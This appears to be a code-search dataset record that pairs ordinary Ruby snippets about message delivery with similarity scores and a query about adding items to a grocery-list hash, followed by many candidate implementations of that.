"def deliver\n response = ''\n begin\n response = Client.post(PATH, params)\n # rescue => e\n # response = \"An error occurred with message: #{e.message}\"\n end\n response\n end",
"def received(order)\n @order = order\n\n mail to: order.email, subject: 'Fast Find Auto Parts Order Confirmation'\n end",
"def deliver_message(options)\n self.sms_service_provider||= default_service_provider\n\n # set the actual message if it differs; not a before_save to reduce the\n # overhead of checking for all commits\n self.actual_message = substituted_draft_message\n\n result = (self.sms_service_provider).send_sms(self)\n self.unique_id = result[:unique_id] if result.is_a?(Hash)\n \n result\n end",
"def receive_message(message)\n # Check if user send text.\n if !message.text.nil?\n model_response = send_to_api_ai(message.text)\n # Save message text from client to bot\n Message.create(message: message.text, fb_message_id: message.mid, client_id: @customer, bot: false)\n command_response = model_response[:result][:action] # accion\n message_response = model_response[:result][:fulfillment][:speech] # respuesta\n clasify_messagin(command_response, message_response)\n end\n # Check if user send attachments.\n if message.attachments.nil?\n puts message.attachments\n end\n end",
"def deliver_receipt\n @content_node = ContentNode.find(:first, :conditions => [\"name = ?\", 'OrderReceipt'])\n OrdersMailer.deliver_receipt(self, @content_node.content)\n end",
"def deliver!(message)\n send_opts = {}\n send_opts[:raw_message] = {}\n send_opts[:raw_message][:data] = message.to_s\n\n if message.respond_to?(:destinations)\n send_opts[:destinations] = message.destinations\n end\n\n @client.send_raw_email(send_opts)\n\n end",
"def create\n @fdn_received_message = Fdn::ReceivedMessage.new(params[:fdn_received_message])\n\n respond_to do |format|\n if @fdn_received_message.save\n format.html { redirect_to @fdn_received_message, notice: 'Received message was successfully created.' }\n format.json { render json: @fdn_received_message, status: :created, location: @fdn_received_message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fdn_received_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def received(data)\n RequestsChannel.broadcast_to(@request, {request: @request, users: @request.users, messages: @request.messages})\n end",
"def on_delivery(&block)\n self.append_callback(:delivery, &block)\n end",
"def received(order)\n @order = order\n mail to: order.email, subject: 'Подтверждение заказа в Card Shop'\nend",
"def input(message, **opts)\n \n @processMessageQueue.push({\n :type => :receive,\n :ip => opts[:ip],\n :port => opts[:port],\n :data => message\n }) \n\n self\n\n end",
"def receive_sms\n @view = \"sms\"\n @body = params[\"Body\"]\n @phone_number = params[\"From\"]\n set_user_create_message_parse_and_point\n end",
"def deliver!\n self.do_deliver\n end",
"def received(order)\n # Also :cc, :from, :subject]\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order Confirmation'\n puts order.to_yaml\n puts \"Mail to: #{mail.to}\"\n puts \"Mail from: #{mail.from}\"\n puts \"Mail subject: #{mail.subject}\"\n puts \"Mail Body:\"\n puts mail.body.encoded\n end",
"def _receive_message state\n state.message_payload = _read(state.in_stream, state)\n end",
"def order_received(user)\n@user = user\nActionMailer::Base.mail(:from => \"kumarnithesh61@gmail.com\", :to => \"nitheshk@railsfactory.org\", :subject => \"Adding new product\", :body => \"the product is added into the list\").deliver\nend",
"def deliver\r\n raise NotImplementedError.new(\"#{self.class.name}#deliver is not implemented.\")\r\n end",
"def test_receipt\n conn_subscribe make_destination, :receipt => \"abc\"\n msg = @conn.receive\n assert_equal \"abc\", msg.headers['receipt-id']\n checkEmsg(@conn)\n end",
"def send_receive(msg, options = {})\n limit = options.fetch :time_limit, 15\n thr = Thread.new do\n SimpleStomp::send_receive(options[:dest] || dest, options[:dest_reply] || dest(nil, reply: :reply), msg, options).body\n end\n\n if thr.join(limit)\n JSON.parse thr.value\n else\n thr.kill\n { 'status' => 'not_respond', 'error' => I18n.t('workflow.errors.not_respond')}\n end\n\n end",
"def perform(message)\n @file_set = ActiveFedora::Base.find(message['id'])\n uri = URI.parse(content_url)\n return if uri.path == ''\n GeoWorks::DeliveryService.new(file_set, uri.path).publish\n end",
"def received\n EnquiryMailer.received\n end",
"def deliver(event)\n Webhook::DeliveryJob.perform_later(id, event.to_json)\n end",
"def receive(mail)\n mail\n end",
"def received(order)\n @order = order\n mail to: order.e_mail, subject: 'Eloctronic Shop Store Order Confirmation'\n end"
] |
[
"0.6547573",
"0.65306216",
"0.6402513",
"0.6383579",
"0.6298124",
"0.61787665",
"0.6162961",
"0.61535794",
"0.61493987",
"0.61157256",
"0.6115685",
"0.6092038",
"0.6090529",
"0.6077418",
"0.6008764",
"0.59970593",
"0.5983646",
"0.5966498",
"0.59331363",
"0.5882112",
"0.58788836",
"0.5861641",
"0.5860454",
"0.58505726",
"0.583283",
"0.58157027",
"0.5813649",
"0.5791597",
"0.57897943",
"0.5778951",
"0.57745963",
"0.57742494",
"0.57713413",
"0.5767482",
"0.5754054",
"0.5753346",
"0.5751168",
"0.57422",
"0.5730023",
"0.57250875",
"0.57217294",
"0.57186997",
"0.571302",
"0.5701808",
"0.57007056",
"0.5692716",
"0.5678594",
"0.56718487",
"0.56708455",
"0.56708026",
"0.56653595",
"0.56578505",
"0.5637146",
"0.56352293",
"0.56304437",
"0.56248295",
"0.5623937",
"0.56094325",
"0.56031924",
"0.5599728",
"0.55984807",
"0.5595147",
"0.5592625",
"0.55923176",
"0.55890775",
"0.558307",
"0.5568608",
"0.55560154",
"0.55520505",
"0.55493796",
"0.5547686",
"0.554512",
"0.5544146",
"0.5540597",
"0.55303556",
"0.55275756",
"0.5513332",
"0.5504087",
"0.55023396",
"0.5497176",
"0.54955184",
"0.5490766",
"0.5489914",
"0.54885215",
"0.54858613",
"0.5481426",
"0.5475285",
"0.54743594",
"0.5474007",
"0.5466659",
"0.5465531",
"0.5463154",
"0.54609746",
"0.54598683",
"0.5453182",
"0.5451586",
"0.5448142",
"0.54470897",
"0.5446054",
"0.5444476"
] |
0.5594937
|
62
|
input: string of items separated by spaces (example: "carrots apples cereal pizza") steps: define create_list(string) split list into an array of items iterate through array and put it into hash, assign values to 1 print the list to the console [can you use one of your other methods here?] output: hash
|
def create_list(string)
array = string.split(' ')
list = { }
array.each do |item|
list[item] = 1
end
list
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def createlist(str)\r\n# steps:\r\n# break the string into an array\r\n items = str.split\r\n item_list = {}\r\n\r\n\t# iterate through array and build hash\r\n items.each do |item|\r\n\r\n\t\t# iterate through array and build hash\r\n\t\t# set default quantity to 1\r\n \titem_list[item] = 1\r\n end\r\n # print the list to the console [the last method that print a list and make it look pretty]\r\n print_list(item_list)\r\n\r\n # output: the hash\r\n return item_list\r\nend",
"def create_list(user_list)\n# input: string of items separated by spaces (example: \"carrots apples cereal pizza\")\n# puts \"\"\n# steps:\n # [fill in any steps here]\n list_array = user_list.split(\",\")\n # set default quantity\n quanity = 1\n # print the list to the console [can you use one of your other methods here?]\n p list_array.collect { |item| [item, quanity] }\n $list_hash = Hash[list_array.collect { |item| [item, quanity] } ]\n# output: [what data type goes here, array or hash?] Print result in hash\n p $list_hash\n $list_hash\nend",
"def create_list(string_of_items)\n string_ary = string_of_items.split(\" \")\n string_hash = {}\n string_ary.each { |item| string_hash[item] = 1 }\n print_grocery_list(string_hash)\n return string_hash\nend",
"def create_list(string_of_items)\n hash_of_items = {}\n array_of_items = string_of_items.split(\" \")\n \n array_of_items.each do |item|\n hash_of_items[item] = 1\n end\n hash_of_items\nend",
"def create_list(items_str)\r\n items_hash={}\r\n items_array=items_str.split(\" \")\r\n items_array.each do |it|\r\n items_hash[it]=1\r\n end\r\n print_list(items_hash)\r\nend",
"def create_list(input_string)\n input_arr = input_string.split(\" \")\n new_shopping_list = Hash.new\n new_shopping_list = Hash[input_arr.collect{|item, | [item, 1]}]\nend",
"def create_list(list_string)\n list_array = list_string.split(\" \")\n\n list_hash = {}\n list_array.each do |item|\n list_hash[item] = 1\n end\n p list_hash\nend",
"def create_list(list_string)\n list_array = list_string.split(\" \")\n\n list_hash = {}\n list_array.each do |item|\n list_hash[item] = 1\n end\n p list_hash\nend",
"def create_list_of(string_of_items)\n\tary_of_items = string_of_items.split(' ')\n\titem_list = {}\n\tary_of_items.each {|x| item_list[x] = 1}\n\tprint_list(item_list)\nend",
"def createlist(items)\n new_items = items.split(\" \")\n list = Hash.new\n new_items.each {|item| list[item] = 1}\n prettylist(list)\n # use print_list method\nend",
"def create_list_items(input_string)\n \n hsh = {}\n \n # create an array containing each item \n array_input = input_string.split(' ')\n \n # create a hash from the array (iterate), containing the information of key/value pairs \n array_input.each do |item|\n # set default quantity as value\n hsh[item] = 0\n end \n \n # print the list to the console (we will use the last method)\n print_list(hsh)\n \n # output: hash data structure of key/value pairs\n return hsh\nend",
"def create_list(string)\n list = {}\n string = string.split \n\n string.each { |item| \n list[item] = 1\n }\n\n printhash(list)\n\n list\nend",
"def create_list(string)\n item_array = string.split(\" \")\n shopping_list = {}\n item_array.each do |item|\n shopping_list[item] = 1\n end\n list_print(shopping_list)\n shopping_list\nend",
"def create_list(list)\n new_list=Hash.new()\n array=list.split(\" \")\n array.each do |item|\n new_list[item] = 1\n end\n print_list(new_list)\n return new_list\nend",
"def create_list(string)\n\tgrocery_hash = {}\n\tthe_list = string.split\n\tthe_list.each do |item|\n\t\tgrocery_hash[item] = 1\n\tend\n\tprint_list(grocery_hash)\nend",
"def create_list(string)\r\n\tgrocery_hash = {}\r\n\tthe_list = string.split\r\n\tthe_list.each do |item|\r\n\t\tgrocery_hash[item] = 1\r\n\tend\r\n\tprint_list(grocery_hash)\r\nend",
"def create_list(string)\n list_array = string.split\n list_hash = Hash.new\n list_array.each {|new_key| list_hash.store(new_key, 1) }\n return list_hash\nend",
"def new_list (string)\nitem_hash= hash.new\nitem_array = string.split\nitem_array.each do |item|\n item_hash[item] = 1\nend\nitem_hash\nend",
"def create_list(items_string)\r\n\titems_array = items_string.split(' ')\r\n\titems_hash = Hash.new\r\n\titems_array.each do |item|\r\n\t\titems_hash[item] = 1\r\n\tend\r\n\treturn items_hash\r\nend",
"def make_list(item_list)\r\n item_list = item_list.split(' ')\r\n list = {}\r\n item_list.each do | item |\r\n list[item] = 1\r\n end\r\n print_list(list)\r\n list\r\nend",
"def create_list(items)\n list = {}\n arr = items.split(' ')#split string into indivdual strings\n arr.each do |item| list[item] = 1 end #iterate over arr in order to pass each string into the list\n \tlist \nend",
"def create_list(items)\n\n\tgrocery_list_hash = {}\n\tlist_array = items.split(\" \")\n\n\tlist_array.each do |item|\n\t\tgrocery_list_hash.store(item.to_sym, 1)\n\tend\n\n\tgrocery_list_hash\nend",
"def create_list(list_str)\n\t# declare initial list with empty hash\n\tgrocery_hash = {}\n\t# split string .split with ' ' (space) as argument\n\tlist_arr = list_str.split(' ')\n\t# store string elements in array\n\tlist_arr.each do |item|\n\t# iterate over array and add each item to a hash\n\t# set item to 1 if it's not already in the hash\n\t# if item already exists, don't add to hash\n\t\tif !grocery_hash.has_key?(item)\n\t\t\tgrocery_hash[item] = 1\n\t\telse\n\t\t\tgrocery_hash[item] += 1\n\t\tend\n\tend\n\t# output: return the hash\n\tgrocery_hash\nend",
"def create_list(list)\n list_arr=list.split(\" \")\n # p list_arr\n list_hash ={}\n list_arr.each do |item|\n # p item\n list_hash[item] = 1\n end\n p list_hash\nend",
"def create_list(items)\n\tlist_array = items.split(' ')\n\tlist_hash = {}\n\tlist_array.each do |item|\n\t\tlist_hash[item] = 1\n\tend\n\tp list_hash\nend",
"def create_list(items)\n list = {}\n item_array = items.split(\" \")\n item_array.each do |item|\n list[item] = 1\n end\n print_list(list)\nend",
"def create_list(list, string_of_items)\r\n\tlist = {}\r\n\titem_array = string_of_items.split(\" \")\r\n\titem_array.each do |item|\r\n\t\titem_key = item.to_sym\r\n\t\tlist[item_key] = 1\r\n\tend\r\n\treturn list\r\nend",
"def create_a_list(string_of_items)\n qty = 1\n grocery_hash = Hash.new\n string_of_items.split(\" \").each do |x|\n grocery_hash[x] = qty\n end\n grocery_hash\nend",
"def create_list(list_input)\n list_input_array = list_input.split(' ')\n list = {}\n list_input_array.each do |item|\n list[item] = 1\n end\n p list\nend",
"def create_list(items_string)\n list = {}\n items_array = items_string.split(\",\")\n\n items_array.each do |item|\n list[item] = 1\n end\n print_pretty_list(list)\nend",
"def create_list(title, list_arr)\n # grocery_list will be a string from user\n # assign an empty hash (will eventually be the list)\n final_list = {}\n # use split method to get list items\n list_arr = list_arr.split\n # Iterate through the elements of the array and insert to hash\n # set default quantity\n list_arr.each { |item| final_list[item]=1}\n # print the list to the console [can you use one of your other methods here?]\n puts print_list(title,final_list)\n final_list\nend",
"def create_list(items)\n items = items.split(\" \")\n list = Hash.new\n items.each do |item|\n list[item] = 1\n end\n p list\nend",
"def create_list(input)\n grocery_list = {}\n # convert items in string to hash keys:\n input_array = input.split\n # convert string into array using\n # iterate through array assign each string item to a hash key with default value of x\n # set default quantity\n # iteration loop\n # grocery_list[\"key_name1\"] => 3\n input_array.each do |i|\n grocery_list[i] = 3\n end\n # print the list to the console [can you use one of your other methods here?]\n # call the method for printing a list *below*\n # output: [what data type goes here, array or hash?]\n # make output return hash\n # grocery_list, call the hash so that the last evaluated item is the hash.. and then that is returned\n grocery_list\nend",
"def create_list(string_list)\n answer_hash = Hash.new(1)\n list_array = string_list.split(\" \")\n list_array.each do |item|\n answer_hash[item] = 1\n end\n return answer_hash\n print answer_hash\nend",
"def create_list(string)\n puts \"What is the default item quantity?\"\n default_quantity = gets.chomp.to_s\n list_array = string.split(' ')\n list_hash = {}\n list_array.each do |item|\n list_hash[item] = default_quantity\n end\n\n print_list(list_hash)\n\n list_hash\nend",
"def create_list(list_of_items)\n groc_list = Hash.new\n list_array = list_of_items.split(' ')\n list_array.each do |item|\n groc_list[item] = 1\n end\n p groc_list\nend",
"def new_list(items)\r\n list = {}\r\n split_items = items.split(' ')\r\n split_items.each { |item|\r\n list[item] = 1\r\n }\r\n print_list(list)\r\n list\r\nend",
"def create_a_list(list)\n shopping_list = {}\n split_list = list.split(\" \")\n split_list.each do |item, value|\n shopping_list[item] = 1\n end\n shopping_list\nend",
"def create_list(items)\n $list = {}\n items.split(\" \").each do |item|\n $list[item] = 3\n end\n p $list\nend",
"def create_list(items)\n $list = {}\n items.split(\" \").each do |item|\n $list[item] = 3\n end\n p $list\nend",
"def create_list(items_string)\r\n\tdefault_quantity = 1\r\n\r\n\tgrocery_list = Hash.new{|hash, key| hash[key] = default_quantity}\r\n\titems_array = items_string.split(\" \")\r\n\t\r\n\titems_array.each do |item| \r\n\t\tgrocery_list[item.to_sym]\r\n\tend\r\n\tprint_list(grocery_list)\r\n\tgrocery_list\r\nend",
"def create_list(items)\n list = {}\n items = items.split(' ')\n items.each do |item|\n list[item] = 1\n end\n print_list(list)\nend",
"def create_list(string)\n list = Hash.new\n string.split(\" \").each do |item|\n list[item] = 1\n end\n p list\nend",
"def create_list(items)\n\tnew_list = {}\n\titem_arr = items.split\n\titem_arr.each do |item|\n\t\tadd_item(new_list, item)\n\tend\n\tprint_list(new_list)\n\t\nend",
"def create_list(list_string)\r\n\tlist = {}\r\n\tlist_array = list_string.split(' ')\r\n\tlist_array.each { |item| list[item] = 1 }\r\n\treturn list\r\n#\tp pretty_list(list)\r\nend",
"def create_list(str)\r\n list = {}\r\n items = str.split\r\n items.each { |item| list[item] = 1 }\r\n p list\r\nend",
"def create_list(string_list)\n answer_hash = Hash.new(0)\n list_array = string_list.split(\" \")\n list_array.each do |item|\n answer_hash[item] = 1\n end\n return answer_hash\nend",
"def create_list(string)\n\t groceries = string.split(\" \")\n\t list_items = Hash.new\n\t groceries.each do |items|\n\t \tlist_items[items] = 1\n\t end\n list_items\nend",
"def create(list_items)\r\n list_array = list_items.split(\" \")\r\n list_hash = {}\r\n list_array.each {|i| list_hash[i] = 1}\r\n p list_hash\r\nend",
"def create_list(str)\n list = {}\n items = str.split\n items.each { |item| list[item] = 1 }\n p list\nend",
"def make_list(item_string = \"\")\r\n grocery_list = {}\r\n=begin\r\n items_array = item_string.split(\" \")\r\n #puts items_array\r\n\r\n items_array.each do |shopping_item|\r\n grocery_list[shopping_item] = 1\r\n end\r\n=end\r\n grocery_list = Hash[item_string.split(\" \").map {|item| [item, 1]}] \r\n #I think this is less readable, but i wanted to find another way to do it\r\n #puts grocery_list\r\n return grocery_list \r\nend",
"def grocery_list(items)\n #method for create list\n array = items.split(\" \")\n #separate by spaces TEST\n #p grocery_array\n #test print\n hash = {}\n #empty hash\n array.each {|item| hash[item] = 1}\n #ends hash\n hash\n #test hash\nend",
"def list_creator(list)\n list_hash = {}\n list.split(\" \").each do |item|\n list_hash[item] = 1\n end\n list_hash\nend",
"def create_list(list)\r\n\tlist = list.split(\" \")\r\n\thsh = {}\r\n\r\n\tlist.each{|i| hsh[i] = 1}\r\n\r\n\t###print hash\r\n\thsh\r\nend",
"def create_list(list_str)\nfinal_list = {}\narr = list_str.split(\" \")\n arr.each do |key|\n final_list[key] = 1\n# One refers to the default quantity. \n end \n final_list\nend",
"def create_list(items)\n grocery_list = {}\n item_array = items.split(\" \")\n item_array.each do |item|\n grocery_list[item] = 1\n end\n print_list(grocery_list)\n grocery_list\nend",
"def create_list(starting_list)\n shopping_list = {}\n arry = starting_list.split(\" \")\n arry.each { |item_name| shopping_list[item_name] = 1}\n return shopping_list\nend",
"def create_list(new_items)\n\tshopping_list = new_items.split(\" \")\n\titems_hash = Hash.new\n\tshopping_list.each do |item| \n\titems_hash[item] = 1\n\tend\n\treturn items_hash\nend",
"def create_list(list_string)\n\titems = list_string.split(\" \")\n\tgrocery_list = {}\n\titems.each do |item|\n\t\tgrocery_list[item.downcase] = 1\n\tend\n\tprint_list(grocery_list)\n\tgrocery_list\nend",
"def create_list(string)\r\n\tshopping_list = {}\r\n\tshopping_array = string.split(' ')\r\n\tshopping_array.each do |item|\r\n\t\tshopping_list[item] = 1\r\n\tend\r\n\tshopping_list\r\nend",
"def create_list(items = '')\n list = {}\n items.split(' ').each {|item| list[item.to_sym] = 1}\n print_list(list)\n list\nend",
"def list(items)\n\tsplit_list = items.split\n\tlist_hash = Hash.new(1)\n\tsplit_list.each do |x|\n\t\tlist_hash[x] =1\n\tend\n\tlist_hash\nend",
"def create_list(items=\"\")\n grocery_list = Hash.new()\n list = items.split(\" \")\n list.each {|item| grocery_list[item] = 1 }\n grocery_list\nend",
"def create_list(items)\n list = items.split\n shopping_list = {}\n list.each do |item|\n shopping_list[item] = 1\n end\n shopping_list\nend",
"def create_list(str)\n\tlist = str.split(' ')\n\tgrocery_list = {}\n\tlist.each do |item|\n\t\tgrocery_list[item] = 1\n\tend\n\tprint_list(grocery_list)\n\treturn grocery_list\nend",
"def create_a_list(items)\n\titem_array = items.split(' ')\n\titem_hash = {}\n \titem_array.each do |item|\n \t\titem_hash[item] = 1\n \tend\n \treturn item_hash\nend",
"def list_creation(items_string)\r\n\tshopping_list = {}\r\n\tintit_list = items_string.split(' ')\r\n\tintit_list.each do|item|\r\n\t\tshopping_list[item] = 1\r\n\tend\r\n\tshopping_list\r\nend",
"def create_list(list, grocery_hash={})\n\tlist_array = list.split(\" \")\n\tquantity = 0\n\tlist_array.each do |item|\n\t\tgrocery_hash[item]=quantity\n\tend\n\tprint_list(grocery_hash)\n\treturn grocery_hash\nend",
"def list(items)\n split_list = items.split\n list_hash = Hash.new\n split_list.each do |x|\n list_hash[x] = 1\n end\n list_hash\nend",
"def create_list(items)\r\n item_array = items.split\r\n grocery_hash = Hash.new\r\n item_array.each do |i|\r\n grocery_hash[i] = 1\r\n end\r\n p grocery_hash\r\nend",
"def create_list(string)\n list = string.split(' ')\n qty = 1\n grocery_list = {}\n list.each { |item| grocery_list[item] = qty }\n grocery_list\nend",
"def create_list(list)\n grocery_hash = Hash.new(1)\n list = list.split(' ')\n list.each do |x|\n grocery_hash[x]=1\n end\n p grocery_hash\nend",
"def create_list(items)\n grocery_list_array = items.split(\" \")\n grocery_list = Hash.new\n grocery_list_array.each {|item| grocery_list[item] = 1}\n grocery_list\nend",
"def create_list (items)\n grocery_list = Hash.new(1)\n \n items.split(\" \").each { |item| grocery_list[item] = 1 }\n\n return grocery_list\nend",
"def create_list(items)\n hash = Hash.new(0)\n items.split(\" \").each do |item|\n hash[item] += 1\n end\n p hash\nend",
"def create_list(items)\r\n list_array = items.split(' ')\r\n grocery_hash = { }\r\n list_array.each do |items|\r\n grocery_hash[items] = 1\r\n end\r\n grocery_hash\r\nend",
"def create_list(input_string)\n grocery_list = {}\n items = input_string.split(' ')\n items.each do |item|\n add_item_to_list(grocery_list, item, 1)\n end\n\n print_list(grocery_list)\n\n add_item_to_list(grocery_list, \"milk\", 1)\n update_item_from_list(grocery_list, \"Lemonade\", 2)\n update_item_from_list(grocery_list, \"Tomatoes\", 3)\n update_item_from_list(grocery_list, \"Onions\", 10)\n update_item_from_list(grocery_list, \"iceCream\", 20)\n\n print_list(grocery_list)\n\n remove_item_from_list(grocery_list, \"IceCream\")\n\n print_list(grocery_list)\n\nend",
"def create_list (items)\n item_array = []\n item_array = items.split(' ')\n item_hash = {}\n item_array.each do |list_item|\n item_hash[list_item] = 0\n end\nend",
"def create_list(items)\r\n list_array = items.split(\" \")\r\n list_hash = {}\r\n list_array.each do |i| \r\n if list_hash[i]\r\n list_hash[i] += 1\r\n else\r\n list_hash[i] = 1\r\n end\r\n end\r\n p list_hash\r\n list_hash\r\nend",
"def create_list(items)\n\tgrocery_list = {}\n\tkey_array = items.split(' ')\n\n\tkey_array.each do |item|\n\t\tgrocery_list[item] = 1\n\tend\n\tprint_list(grocery_list)\n\tgrocery_list\nend",
"def create_list(string)\n\ttemp = string.split()\n\tgrocery_list = {}\n\ttemp.each do |item|\n\t\tgrocery_list[item] = 1\n\tend\n\t\n\tp grocery_list\nend",
"def create_list(string)\n list = {}\n string.split.each do |item|\n list[item] = 1\n end\n list\nend",
"def create_list(list)\r\n temp_hash = Hash.new \r\n list.split(\" \").each {|x| temp_hash[x] = 1}#[word1, word2, word3]\r\n print temp_hash\r\n return temp_hash\r\nend",
"def generate_list(string_of_items)\n grocery_list={}\n default_value=1\n items=string_of_items.split(' ')\n items.each do |item|\n #Transfer items into hash\n grocery_list[item]=default_value\n end\n return grocery_list\n print(grocery_list)\nend",
"def create_list(list)\n grocery_list = {}\n\n list.split(\" \").each do |item|\n grocery_list[item] = 1\n end\n\n grocery_list\nend",
"def create_list(string)\r\n array=string.split(\" \")\r\n list={}\r\n x=0\r\n array.each do |item|\r\n list[item]=x\r\n x+=1\r\n end\r\n list\r\nend",
"def create_a_list(list)\n this_list = {}\n list_array = list.split(' ')\n list_array.each do |item|\n this_list[item] = 1\n end\n this_list\nend",
"def initial_list(string_of_items)\n grocery_list = {}\n quantity = 1\n items_array = string_of_items.split(\" \")\n items_array.each do |item|\n grocery_list.store(item, quantity)\n end\n grocery_list\nend",
"def create_list(items)\n\tlist = {}\n\titems = items.split(' ')\n\tquantity = 0\n\tlist = Hash.new\n\n\titems.each do |item| \n\t\tlist[item] = quantity\n\tend\n\tlist\nend",
"def create_list(items)\n groceries = items.split(' ')\n grocery_list = Hash.new\n groceries.each do |grocery|\n grocery_list[grocery] = 1\n end\n print_list(grocery_list)\n return grocery_list\nend",
"def create_list(items)\r\n items_array = items.split(' ')\r\n grocery_hash = {}\r\n items_array.each do |item|\r\n add_item(grocery_hash, item)\r\n #grocery_hash[item] = 1\r\n end\r\n grocery_hash\r\nend",
"def create_list(string)\n grocery_list = {}\n array = string.split(\" \")\n array.each do |item|\n grocery_list[item] = 1\n end\np grocery_list\nend",
"def make_list(items)\n grocery_list = Hash.new(1)\n item_array = items.split\n item_array.each do |item|\n \tgrocery_list[item] = 1\n end\n return grocery_list\nend",
"def create_list(string)\n\tlist = {}\n\titems_list = string.split(\" \")\n\titems_list.each do |items|\n\t\tlist[items.to_sym] = 1\n\tend\n\tlist\nend",
"def create_list(items)\r\n\r\n\tshopping_list ={}\r\n\r\n\titems.split(\" \").each do |item|\r\n\t\tshopping_list[item] = 1\r\n\tend\r\n\r\n\t# will put a method call\r\n\tprint_list(shopping_list)\r\n\treturn shopping_list\r\n\r\nend",
"def create_a_list(items)\n item_array = items.split\n shopping_list = {}\n item_array.each do |x|\n shopping_list[x] = 1\n end\n #shopping_list.store(items)\n shopping_list\nend",
"def create_a_list(list)\n grocery_list = {}\n split_list = list.split(' ')\n split_list.each do |item|\n grocery_list[item] = 1\n end\n grocery_list\nend",
"def create_a_list(list)\n grocery_list = {}\n split_list = list.split(' ')\n split_list.each do |item|\n grocery_list[item] = 1\n end\n grocery_list\nend",
"def create_list(items)\n list = {}\n items.split.each do |item|\n list[item] = 1\n end\n list\nend",
"def create_list(list)\n newlist = {}\n split_list = list.split(' ')\n split_list.each do |item|\n newlist[item] = 1\n end\n newlist\nend",
"def create_list(string_of_items)\n grocery_list = {}\n grocery_items = string_of_items.split\n grocery_items.each do |item, quantity|\n grocery_list[item] = 1\n end \n return grocery_list\nend"
] |
[
"0.8586517",
"0.8340953",
"0.82712543",
"0.81884545",
"0.8114492",
"0.8033401",
"0.797076",
"0.797076",
"0.7942948",
"0.7926702",
"0.79048896",
"0.79012936",
"0.7898416",
"0.7891479",
"0.7868052",
"0.78645754",
"0.78387386",
"0.78288513",
"0.78225213",
"0.7819928",
"0.77947396",
"0.77418983",
"0.77233773",
"0.7713803",
"0.7700584",
"0.76926124",
"0.76627904",
"0.76594263",
"0.76479375",
"0.7646263",
"0.76409614",
"0.7639932",
"0.7628676",
"0.76192665",
"0.76172346",
"0.7612563",
"0.7607512",
"0.75977963",
"0.75748885",
"0.75748885",
"0.75714123",
"0.75672364",
"0.75671476",
"0.7563263",
"0.75499845",
"0.75394714",
"0.75370383",
"0.75360304",
"0.7535529",
"0.7533744",
"0.7525004",
"0.7522549",
"0.75032145",
"0.74995786",
"0.7486505",
"0.7480124",
"0.7478325",
"0.7475487",
"0.7470403",
"0.7465289",
"0.74512506",
"0.74511725",
"0.7447629",
"0.7447009",
"0.74423075",
"0.74352044",
"0.7434938",
"0.7433594",
"0.7429291",
"0.7426514",
"0.7416794",
"0.741499",
"0.74121684",
"0.740937",
"0.7385574",
"0.73817843",
"0.737997",
"0.7368415",
"0.73624647",
"0.7357852",
"0.73499936",
"0.7347328",
"0.73336875",
"0.7331399",
"0.73212576",
"0.73165333",
"0.73151594",
"0.7312473",
"0.73092306",
"0.73040056",
"0.7301657",
"0.72992325",
"0.7294502",
"0.7287101",
"0.7284378",
"0.7282143",
"0.72768974",
"0.72768974",
"0.727472",
"0.7272231",
"0.72644013"
] |
0.0
|
-1
|
Method to add an item to a list input: list, item name, and optional quantity steps: define add_item(item_name, quantity) add key and value to hash 'list' output: hash
|
def add_item(list, item_name, quantity)
list[item_name] = quantity
list
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_item(list_name, item, quantity=1)\r\n# input: list, item name, and optional quantity\r\n# steps: add item and its quantity to the hash\r\n list_name.store(item, quantity)\r\n# output: hash with new item\r\n p list_name\r\nend",
"def add_item(list, add_item, add_quantity=1)\n# steps:\n # Add item as key and quantity as value to final_list hash(item and quantity will be user inputs)\n list[add_item] = add_quantity\n # Return updated hash\n list\nend",
"def add(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend",
"def add_item(list, item_name, quantity = 1)\n\tlist[item_name] = quantity\n\tlist\nend",
"def add_item(list, item_name, quantity = 1)\n\tlist[item_name] = quantity\n\tlist\nend",
"def add_item(list, item_name, quantity = 1)\n\tlist[item_name] = quantity\n\tlist\nend",
"def additem(list, item, number = 1)\n# input: hash, item name and optional quantity\n# steps: push an item into the hash\n list.store(item, number)\nend",
"def add_item(list, name, quantity = 1) \r\n# input: item name and optional quantity\r\n# steps: \r\n# create add method with name and optional quantity arguments\r\n# add name and quantity to hash\r\n list[name] = quantity\r\n# output: print \"your item has been added to the hash\"\r\n return list\r\nend",
"def add_item(item, quantity, list)\n\t# steps: \n\t# if the item is already in the list\n\tif list[item.to_sym] \n\t\t# add to the quantity\n\t\t#list[item.to_sym] = list[item.to_sym] + quantity\n\t\tlist[item.to_sym] += quantity\n\t# otherwise\n\telse\n\t\t# make a new key with the input quantity\n\t\tlist[item.to_sym] = quantity\n\tend\n\t# output:\n\t\t# updated list\n\tlist\nend",
"def add_item_to_list(list_name,item_to_add,quantity_to_add = 1)\n#create a hash element with the item name and the quantity, if specified\n#if no quantity is specified, default value = 1\n new_item = { \n item_name: item_to_add,\n quantity: quantity_to_add\n }\n# insert the hash into array \n list_name.push(new_item)\n new_item\nend",
"def add_item(list, item, quantity)\n\n\tlist[item] = quantity\n\tlist\n\nend",
"def add_item(existing_list, new_item, item_integer)\n\t# input: item name and optional quantity\n\t# steps: pass in item name as key and assign value\n\texisting_list[new_item] = item_integer\n\t# output: hash\n\tp existing_list\nend",
"def add_item(list, item, quantity=0)\n\tlist[item] = quantity\n\tlist\nend",
"def add_item(list, item, quantity)\n\tlist[item] = quantity\n\tp list\nend",
"def add_item(item, quantity, list)\n\tlist[item] = quantity\n\titem\nend",
"def list_add(hash_items, item_name, quantity = 1)\n hash_items [item_name] = quantity\n return hash_items\nend",
"def add_item (list, item, quantity = 1)\n\tlist[item] = quantity\n\treturn list\nend",
"def add_item(item,quantity,list)\n\tlist[item] = quantity\nend",
"def add_items(list, item_name, quantity=0)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend",
"def add_item(list, item, quantity)\n list[item] = quantity\n return list\nend",
"def add_item(list, item, quantity)\n list[item] = quantity\n list\nend",
"def add_list(item_name, item_list, quantity = 1)\n item_list[item_name] = quantity\nend",
"def add_item(my_list, item, quantity)\r\n #input: a string seperated by an integer \r\n #steps: use a method that adds an item and quantity to the hash.\r\n my_list.store(item, quantity)\r\n # use a hash or store method hash.merge!(key => value) \r\n #output = hash with the updated item/quantity. \r\n my_list\r\n \r\nend",
